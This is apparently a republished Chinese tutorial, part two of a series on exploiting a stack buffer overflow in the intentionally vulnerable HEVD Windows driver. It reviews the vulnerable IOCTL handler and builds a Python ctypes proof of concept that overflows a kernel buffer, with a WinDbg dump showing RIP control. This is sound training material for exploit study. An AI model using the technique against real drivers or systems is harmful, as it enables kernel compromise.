zl程序教程

您现在的位置是:首页 >  其他

当前栏目

HEVD内核攻击:漏洞的使用(二)

2023-09-27 14:27:07 时间
本文讲的是HEVD内核攻击:漏洞的使用(二),

HEVD内核攻击:漏洞的使用(二)

上一章我们已经把调试环境给设置好了,本章我们就来说说如何来来利用这些漏洞。

https://github.com/hacksysteam/HackSysExtremeVulnerableDriver上有很多有趣的漏洞。我们之所以会使用这些有漏洞的驱动程序,是因为我们更熟悉Ring0模式下的有效载荷(Intel的CPU将特权级别分为4个级别:RING0,RING1,RING2,RING3。Windows只使用其中的两个级别RING0和RING3,RING0只给操作系统用),选择容易的堆栈溢出,可以让我们更专注于有效载荷。

漏洞源代码审查

如果你以前没有使用过Windows驱动程序,我们可以先为你做个简单的背景介绍。用户模式代码使用Kernel32.dll中的DeviceIoControl API调用驱动程序。用户模式代码会为其想要交互的设备提供一个句柄(例如“HacksysExtremeVulnerableDriver”),一个I / O控制代码(IOCTL),这些信息基本上可以让驱动程执行我们所想要的操作,以及输入和输出缓冲器。驱动程序使用IRP(interrupt request package,中断请求包)可以将所有信息传递给相应的IOCTL处理程序函数。

HEVC的IOCTL调度功能在HackSysExtremeVulnerableDriver.c中的IrpDeviceIoCtlHandler()函数中的switch{case}结构中实现:

IrpSp = IoGetCurrentIrpStackLocation(Irp);

IoControlCode = IrpSp- Parameters.DeviceIoControl.IoControlCode;

if (IrpSp) {

    switch (IoControlCode) {

        case HACKSYS_EVD_IOCTL_STACK_OVERFLOW:

            DbgPrint("****** HACKSYS_EVD_STACKOVERFLOW ******n");

            Status = StackOverflowIoctlHandler(Irp, IrpSp);

            DbgPrint("****** HACKSYS_EVD_STACKOVERFLOW ******n");

            break;

如上所示, IRP和堆栈指针传递给StackOverflowIoctlHandler(),它是在StackOverflow.c中实现的,其代码片段如下所示。 Size参数只是用户模式下代码提供的输入的长度:

NTSTATUS StackOverflowIoctlHandler(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp) {

    UserBuffer = IrpSp- Parameters.DeviceIoControl.Type3InputBuffer;

    Size = IrpSp- Parameters.DeviceIoControl.InputBufferLength;

    if (UserBuffer) {

        Status = TriggerStackOverflow(UserBuffer, Size);

    }

TriggerStackOverflow()函数不会首先检查UserBuffer的大小,看它是否为 = KernelBuffer:而是直接将UserBuffer复制到KernelBuffer中:

DbgPrint("[+] Triggering Stack Overflown");

RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);

漏洞逆向工程

因为我们通常不会对驱动程序的源代码进行审查,所以让我们先来来看看驱动程序的反汇编,这个过程很容易,因为代码中有帮助提示的纯文本调试字符串,以及我们所使用驱动程序的调试符号(Visual Studio项目目录中的.pdb文件)。

如果你需要做很多逆向工程,则很容易在IDA流程图中的IrpDeviceIoCtlHandler() switch table中识别出来:

HEVD内核攻击:漏洞的使用(二)

这是驱动程序将IRP中的IOCTL与其知道的IOCTL进行比较的地方,因此它可以调用适当的处理程序函数。一旦找到匹配的IOCTL,它将调用相关的处理程序:

PAGE:FFFFF880037281D3 loc_FFFFF880037281D3:                   ; CODE XREF: IrpDeviceIoCtlHandler+31j

PAGE:FFFFF880037281D3           lea     rcx, aHacksys_evd_st ; "****** HACKSYS_EVD_STACKOVERFLOW ******"...

PAGE:FFFFF880037281DA           call    DbgPrint

PAGE:FFFFF880037281DF           mov     rdx, rdi        ; IrpSp

PAGE:FFFFF880037281E2           mov     rcx, rbx        ; Irp

PAGE:FFFFF880037281E5           call    StackOverflowIoctlHandler

PAGE:FFFFF880037281EA           lea     rcx, aHacksys_evd_st ; "****** HACKSYS_EVD_STACKOVERFLOW ******"...

PAGE:FFFFF880037281F1           jmp     loc_FFFFF8800372831E

正如我们在源代码中看到的,StackOverflowIoctlHandler()是一个非常小的函数,基本上只是调用TriggerStackOverflow(),在IDA中看起来像这样:

HEVD内核攻击:漏洞的使用(二)

我们可以看到在调用memset函数时,会出现一个0x800(2048)字节的缓冲区。

当这些条件都具备了之后,我们就可以开始对漏洞进行使用了,看看我们能否获得受控的RIP覆盖。

DOS POC (CVE-2013-2070)漏洞利用

首先我们要强调一下,我们进行操作的环境为 Python中ctypes,ctypes是Python的一个外部库,提供和C语言兼容的数据类型,可以很方便地调用C DLL中的函数。

本次漏洞的利用共分四步:

1.获取容易受到攻击的设备的句柄

2.获取正确的IOCTL的堆栈溢出功能

3.创建一个超过2048字节大小的缓冲区

4.触发漏洞的代码

第一步,获取句柄

要获得设备的句柄,我们需要在Kernel32.dll中使用CreateFile API,这个函数可以创建或打开一个对象的句柄,凭借此句柄就可以控制这些对象:

控制台对象、通信资源对象、目录对象(只能打开)、磁盘设备对象、文件对象、邮槽对象、管道对象。不过具体功能的实现还是要取决于文件或设备的属性。“函数原型非常简单,不包含任何特殊结构,所以我们可以在Python中轻松重新创建它。我们把每个常数的十六进制值(GENERIC_READ等)定义的Python脚本的顶部,然后创建一个函数调用API并返回设备的句柄:

HEVD内核攻击:漏洞的使用(二)

第二步,获取IOCTL

IOCTL是一个DWORD类型的值,由设备类型、访问权限、功能代码、缓冲类型四个部分组成。DWORD类型是4字节32位,四个组成部分占据了32位的不同部分。驱动程序开发人员通常可以对除了功能代码外的其他三部分进行自定义,由于功能代码是一个十六进制的值,只要这个值高于0x7FF就可以作为第三方驱动程序。Windows 驱动程序工具包 (WDK)为开发人员提供了一个宏来定义这些IOCTL:

#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW    CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)

对于这个宏,我们要强调一下,如果是在C语言中编写的exploit,可以使用相同的宏,但是由于我们选择了Python,就必须重新实现宏,或者对IOCTL进行简单的硬编码,本文中,我们选择了重新实现宏的方法:

HEVD内核攻击:漏洞的使用(二)

请注意,我们在三个输入框输入了一些公共默认值,只需要功能代码:

ioctl = ctl_code(0x800)

如果需要,还可以手动运行宏以查看IOCTL的外观:

  ioctl = ((0x00000022   16) | (0x00000000   14) | (0x800   2) | 0x00000003)

  hex(ioctl)

0x222003

 

除了使用像ioctlbf这样的工具来强制使用有效的IOCTL外,我们通常需要在关闭源代码驱动程序之前使用反转IOCTL,然后才能进行交互。让我们仔细看看HEVD的IOCTL调度函数中的switch table,这个我们在前面简要介绍过。

IrpDeviceIoCtlHandler()通过将一个硬编码的起始值(0x22201B)加载到eax中,并计算出从switch table的哪个位置开始:

HEVD内核攻击:漏洞的使用(二)

在本文中,我们指定的IOCTL(0x222003)不会导致执行转移到switch table的另一半(ja =“jump if above”;我们的IOCTL小于或低于0x22201B)。然后驱动程序从提供的IOCTL中开始进行匹配选择,如果计算结果为零(即它们匹配),则被分配到StackOverflowIoctlHandler():

HEVD内核攻击:漏洞的使用(二)

注意,如果我们指定了另一个IOCTL,它将从IOCTL中减去4以找到匹配值或错误返回。

第三步,创建缓冲区

在Python中实现这一步非常简单,使用create_string_buffer()函数,它完全符合我们的需要。我们看到之前的漏洞函数需要一个2048字节的缓冲区。所以为了覆盖RIP,我们不需要太多的操作。我们喜欢把缓冲区分成可识别的单元,所以大家可以看到某些变量被覆盖。我们将从以下这个缓冲区开始:

evilbuf = create_string_buffer("A"*2048 + "B"*8 + "C"*8 + "D"*8)

第四步触发漏洞

如果前面几步都非常顺利的话,我们现在就可以使用DeviceIoControl function 来触发漏洞:

HEVD内核攻击:漏洞的使用(二)

不过也可能出现一些操作错误:

****** HACKSYS_EVD_STACKOVERFLOW ******

[+] UserBuffer: 0x0000000002D99330

[+] UserBuffer Size: 0x819

[+] KernelBuffer: 0xFFFFF88004EC6FE0

[+] KernelBuffer Size: 0x800

[+] Triggering Stack Overflow

*** Fatal System Error: 0x0000003b

                       (0x00000000C0000005,0xFFFFF88005921912,0xFFFFF88004EC6E00,0x0000000000000000)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.

Debugger entered on first try; Bugcheck callbacks have not been invoked.

Connected to Windows 7 7601 x64 target at (Wed Jul  6 14:33:45.047 2016 (UTC - 4:00)), ptr64 TRUE

Use !analyze -v to get detailed debugging information.

BugCheck 3B, {c0000005, fffff88005921912, fffff88004ec6e00, 0}

0: kd  !analyze -v

*******************************************************************************

*                                                                             *

*                        Bugcheck Analysis                                    *

*                                                                             *

*******************************************************************************

SYSTEM_SERVICE_EXCEPTION (3b)

An exception happened while executing a system service routine.

Arguments:

Arg1: 00000000c0000005, Exception code that caused the bugcheck

Arg2: fffff88005921912, Address of the instruction which caused the bugcheck

Arg3: fffff88004ec6e00, Address of the context record for the exception that caused the bugcheck

Arg4: 0000000000000000, zero.

Debugging Details:

------------------

BUGCHECK_P1: c0000005

BUGCHECK_P2: fffff88005921912

BUGCHECK_P3: fffff88004ec6e00

BUGCHECK_P4: 0

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

FAULTING_IP: 

HEVD-Win7x64+6912

fffff880`05921912 c3              ret

CONTEXT:  fffff88004ec6e00 -- (.cxr 0xfffff88004ec6e00)

rax=0000000000000000 rbx=4444444444444444 rcx=fffff88004ec6fe0

rdx=0000077ffded2350 rsi=0000000000000000 rdi=fffffa8003e10760

rip=fffff88005921912 rsp=fffff88004ec77e8 rbp=fffffa8002295c70

 r8=0000000000000000  r9=0000000000000000 r10=0000000000000000

r11=fffff88004ec77e0 r12=fffffa80042ada00 r13=0000000000000000

r14=4242424242424242 r15=0000000000000003

iopl=0         nv up ei pl zr na po nc

cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246

HEVD-Win7x64+0x6912:

fffff880`05921912 c3              ret

Resetting default scope

DEFAULT_BUCKET_ID:  WIN7_DRIVER_FAULT

BUGCHECK_STR:  0x3B

PROCESS_NAME:  pythonw.exe

CURRENT_IRQL:  2

LAST_CONTROL_TRANSFER:  from 4343434343434343 to fffff88005921912

STACK_TEXT:  

fffff880`04ec77e8 43434343`43434343 : 44444444`44444444 00000000`00000000 fffffa80`03e10760 fffff880`04ec7a01 : HEVD+0x6912

fffff880`04ec77f0 44444444`44444444 : 00000000`00000000 fffffa80`03e10760 fffff880`04ec7a01 00000000`00000000 : 0x43434343`43434343

fffff880`04ec77f8 00000000`00000000 : fffffa80`03e10760 fffff880`04ec7a01 00000000`00000000 fffff880`059211ea : 0x44444444`44444444

FOLLOWUP_IP: 

HEVD-Win7x64+6912

fffff880`05921912 c3              ret

FAULT_INSTR_CODE:  8348ccc3

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  HEVD-Win7x64+6912

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: HEVD-Win7x64

IMAGE_NAME:  HEVD-Win7x64.sys

从这个缩写的输出中我们可以看出,当调用ret指令时触发了错误检查时,其中堆栈的顶部包含值是0x4343434343434343。 另外值得注意的是,我们拥有rbx和r14寄存器,当我们在Windows 8.1中构建一个ROP链 ( Return-to-dl-resolve)来绕过SMEP时会很方便。

原文发布时间为:2017年3月24日 本文作者:xiaohui  本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。 原文链接
如何修补网站漏洞之metinfo远程SQL注入漏洞 2018年11月23日SINE网站安全检测平台,检测到MetInfo最新版本爆出高危漏洞,危害性较大,影响目前MetInfo 5.3版本到最新的 MetInfo 6.1.3版本,该网站漏洞产生的主要原因是MetInfo的上传代码里的参数值没有进行安全过滤,导致上传路径这里进行伪造路径,并可以插入恶意的代码,以及特殊字符进行上传图片到MetInfo的后台。
理解缓冲区溢出漏洞的利用 在我第一次不得不处理缓冲区溢出漏洞时,我真是一窍不通啊!虽然我可以建立网络和配置防火墙、代理服务器,不费吹灰之力的入侵检测系统,但是对于利用代码来说,我还是第一次接触到。然而,正如处理任何复杂或是困难的概念一样,最好的办法就是把它分解成我们了解的多个部分。
深入剖析最新IE0day漏洞 在2018年4月下旬,我们使用沙箱发现了IE0day漏洞;自从在野外发现上一个样本(CVE-2016-0189)已经有两年多了。从许多方面来看,这个特别的漏洞及其后续的开发比较有趣。下一篇文章将分析最新的漏洞背后的核心原因,CVE-2018-8174。
HEVD 内核攻击:漏洞攻击的完全实现及SMEP绕过(四) 本文讲的是HEVD 内核攻击:漏洞攻击的完全实现及SMEP绕过(四),到目前为止,我们还没有完全实现漏洞的攻击。让我们回顾一下第2篇里为DoS PoC创建的漏洞利用步骤,现在我们可以修改其中一些步骤,来实现SYSTEM shell。
趋势科技:恶意软件利用Linux CGI 漏洞进行传播 本文讲的是趋势科技:恶意软件利用Linux CGI 漏洞进行传播,Linux一直是企业平台和物联网制造商的首选操作系统,基于Linux的设备也被不断部署在许多不同行业的智能系统中,不过随着其广泛使用,我们也看到了以Linux为攻击目标的安全威胁数量正在快速上升。